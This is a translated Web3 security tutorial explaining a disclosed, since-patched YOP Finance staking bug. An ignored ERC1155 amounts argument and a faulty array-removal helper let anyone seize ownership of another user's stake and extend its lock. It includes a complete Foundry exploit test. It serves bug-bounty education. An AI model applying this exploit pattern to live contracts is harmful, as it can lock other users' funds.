WEB3DEV

Cover image for Como Usar o Foundry em Provas de Conceito de Indícios de Bugs, Parte 2
Paulo Gio
Paulo Gio

Posted on

Como Usar o Foundry em Provas de Conceito de Indícios de Bugs, Parte 2

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*KD0CZ81LefX4ZApz6gbObQ.png

Resumo

Na parte 2 deste tutorial (veja a parte 1 aqui), veremos como é uma prova de conceito (PoC) para uma vulnerabilidade do mundo real no Foundry. No restante deste tutorial, presumiremos que você configurou seu ambiente adequadamente.

Essa vulnerabilidade do mundo real é um bug que encontrei e divulguei na Immunefi para a YOP Finance no final de maio de 2022. A YOP Finance reagiu rapidamente, determinou que era de gravidade "alta", corrigiu o bug e pagou 37.500 USDC de recompensa. Isso mostra que a YOP Finance leva sua plataforma e a segurança dos usuários a sério. Para mais informações, confira o programa de recompensas por bugs da YOP Finance na Immunefi.

Este artigo foi escrito por cergyk.eth.

Introdução ao ERC1155

Primeiramente, precisamos explicar um pouco sobre o padrão ERC1155. Os tokens ERC1155 podem ser usados para descrever qualquer combinação de tokens fungíveis (ERC20) e não fungíveis (ERC721) dentro de um único contrato.

Por exemplo, o administrador do contrato pode definir que os IDs de 1 a 1000 representam NFTs. Ele os cunha com uma quantidade igual a um (amount = 1). Em seguida, ele cunha um token com ID 1001 usando amount = 10**18, o que significa que é um token fungível com um suprimento de 10**18.

Dessa forma, a lógica de transferência para este padrão se parece com isso (extraída das bibliotecas do OpenZeppelin):

.function _safeTransferFrom(
       address from,
       address to,
       uint256 id,
       uint256 amount,
       bytes memory data
   ) internal virtual {
       require(to != address(0), "ERC1155: transferir para o endereco zero");        
       address operator = _msgSender();        
       _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);        
       uint256 fromBalance = _balances[id][from];
       require(fromBalance >= amount, "ERC1155: saldo insuficiente para transferencia");
       unchecked {
           _balances[id][from] = fromBalance - amount;
       }
       _balances[id][to] += amount;        
       emit TransferSingle(operator, from, to, id, amount);              
       _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
Enter fullscreen mode Exit fullscreen mode

Notamos o gancho _beforeTokenTransfer, que permite que o implementador defina alguma contabilidade extra no contrato herdado.

Erro na Substituição do Gancho

No caso da YOP Finance, um tokenId representa uma posição no contrato de staking, que podemos queimar para sacar os fundos em stake.

A YOP implementa o gancho _beforeTokenTransfer da seguinte forma:

function _beforeTokenTransfer(
   address,
   address _from,
   address _to,
   uint256[] memory _ids,
   uint256[] memory,
   bytes memory
 ) internal override {
   for (uint256 i = 0; i < _ids.length; i++) {
     uint256 tokenId = _ids[i];
     Stake storage s = stakes[tokenId];
     s.lastTransferTime = _getBlockTimestamp();
     uint256 balance = _workingBalanceOfStake(s);
     if (_from != address(0)) {
       totalWorkingSupply -= balance;
       _removeValue(stakesForAddress[_from], tokenId);
       owners[tokenId] = address(0);
     }
     if (_to != address(0)) {
       totalWorkingSupply += balance;
       stakesForAddress[_to].push(tokenId);
       owners[tokenId] = _to;
     } else {
       // isso é uma queima, redefina os campos do registro do stake
       delete stakes[tokenId];
     }
   }
 }
Enter fullscreen mode Exit fullscreen mode

Notou alguma coisa estranha?

O quarto argumento para esta função é ignorado. Consultamos a interface para ver que este é o array de quantidades (amounts):

function _beforeTokenTransfer(
       address operator,
       address from,
       address to,
       uint256[] memory ids,
       uint256[] memory amounts,
       bytes memory data
   ) internal virtual {}
Enter fullscreen mode Exit fullscreen mode

O que acontece se definirmos os valores como 0 e tentarmos transferir? É um NOOP (No Operation, uma instrução que pega um valor de qualquer tipo e não faz nada com ele, instrução Sem Operação) permitido no padrão ERC1155, mas isso altera os valores de contabilidade na implementação?

De fato, observamos que isso altera um valor de estado:

owners[tokenId] = _to;

Então, podemos simplesmente nos declarar proprietários de qualquer posição e sacar os fundos de qualquer posição de staking, certo? Não tão rápido!

Avaliação do impacto

Uma chamada para a função unstake requer que queimemos exatamente um dos tokens, e é revertida porque, mesmo se estivermos na tabela de owners (proprietários), temos um saldo zero do tokenId.

Mas há outra coisa que podemos fazer, já que estamos na tabela de owners apenas para o tokenId. Vamos dar uma olhada na função extendStake:

function extendStake(
   uint256 _stakeId,
   uint8 _additionalDuration,
   uint248 _additionalAmount,
   address[] calldata _vaultsToUpdate
 ) external nonReentrant {
   _notPaused();
   require(_additionalAmount > 0 || _additionalDuration > 0, "!parameters");    

   Stake storage stake = stakes[_stakeId];
   require(owners[_stakeId] == _msgSender(), "!owner");    

   uint8 newLockPeriod = stake.lockPeriod;
   if (_additionalDuration > 0) {
     newLockPeriod = stake.lockPeriod + _additionalDuration;
     require(newLockPeriod <= MAX_LOCK_PERIOD, "!duration");
   }    //... código não relacionado
}
Enter fullscreen mode Exit fullscreen mode

Esta função verifica os owners e nos permite definir um tempo adicional de bloqueio para o stakeId! Isso se enquadra no impacto de bloquear os fundos do usuário por um período finito de tempo (obviamente muito grande neste caso!).

Vamos construir a PoC

Hora de construir a PoC no Foundry! Vamos relembrar a configuração do ambiente que iniciamos na parte 1. Vamos configurar os seguintes passos em nosso script:

  • Crie uma posição de staking para o atacante;
  • Use a vulnerabilidade em _beforeTokenTransfer para transferir qualquer posição de staking anterior do atacante para si mesmo;
  • Estender a duração do staking para a posição, pois temos a propriedade sobre ela;
  • Use a vulnerabilidade em _beforeTokenTransfer para transferir a posição de staking criada pelo atacante de volta para ele, para recuperar seus fundos.

A PoC completa fica assim:

function testYopMaliciousLocking() public {
       deal(address(yopToken), attacker1, 500 ether);
       // Representar attacker1 para chamadas subsequentes para contratos
       startHoax(attacker1);
       uint8 lock_duration_months = 1;
       uint realStakeId = 127;
       uint additionalAmount = 0;       

       // Crie uma posição de staking
       yopToken.approve(address(staking), 500 ether);
       uint attackerStakeId = staking.stake(500 ether, 1);
       staking.safeTransferFrom(attacker1, attacker1, realStakeId, additionalAmount, '');           

       // O stake com id 127 está bloqueado por 3 meses
       uint8 lockTimeRealStakeId = 3;

       // Bloqueamos o stake pela duração máxima
       staking.extendStake(
           realStakeId,
           MAX_STAKE_DURATION_MONTHS-lockTimeRealStakeId,
           0,
           new address[](0)
       );        

       // O bonito disso tudo é que o atacante pode recuperar o controle de seu stake.
       staking.safeTransferFrom(attacker1, attacker1, attackerStakeId, additionalAmount, '');        

       // Truque-padrão para passar o tempo em segundos.
       skip(lock_duration_months*SECONDS_PER_MONTH+1);
       staking.unstakeSingle(attackerStakeId, attacker1);
   }
Enter fullscreen mode Exit fullscreen mode

Outro Bug Escondido

Um leitor atento pode perceber que não explicamos porque o atacante tem que criar uma posição de staking antes de fazer as transferências.

A causa reside em _removeValue, chamado em _beforeTokenTransfer:

function _removeValue(uint256[] storage _values, uint256 _val) internal {
 uint256 i;
 for (i = 0; i < _values.length; i++) {
   if (_values[i] == _val) {
     break;
   }
 }
 for (; i < _values.length - 1; i++) {
   _values[i] = _values[i + 1];
 }
 _values.pop();
}
Enter fullscreen mode Exit fullscreen mode

A função é chamada na lista de posições mantidas pelo remetente para remover a posição de saída. Esta função contém outro erro, permitindo que a exploração inteira aconteça! Na verdade, em vez de reverter caso o elemento procurado não seja encontrado, a função remove o último elemento no array!

Inconveniência Adicional

No final da exploração, o atacante ainda é o proprietário da posição de staking da vítima. Assim sendo, nem o proprietário original nem o invasor podem sacá-lo diretamente. O usuário teria que usar a mesma tática do atacante para recuperar a posse dos fundos.

Código

O código para esta segunda parte está disponível no GitHub. Como a vulnerabilidade foi corrigida, certifique-se de fazer um fork no número de bloco especificado. ;)

Siga-me no Twitter para mais conteúdo de segurança Web3!

Este artigo foi escrito por cergyk.eth. Traduzido por Paulinho Giovannini.

Latest comments (0)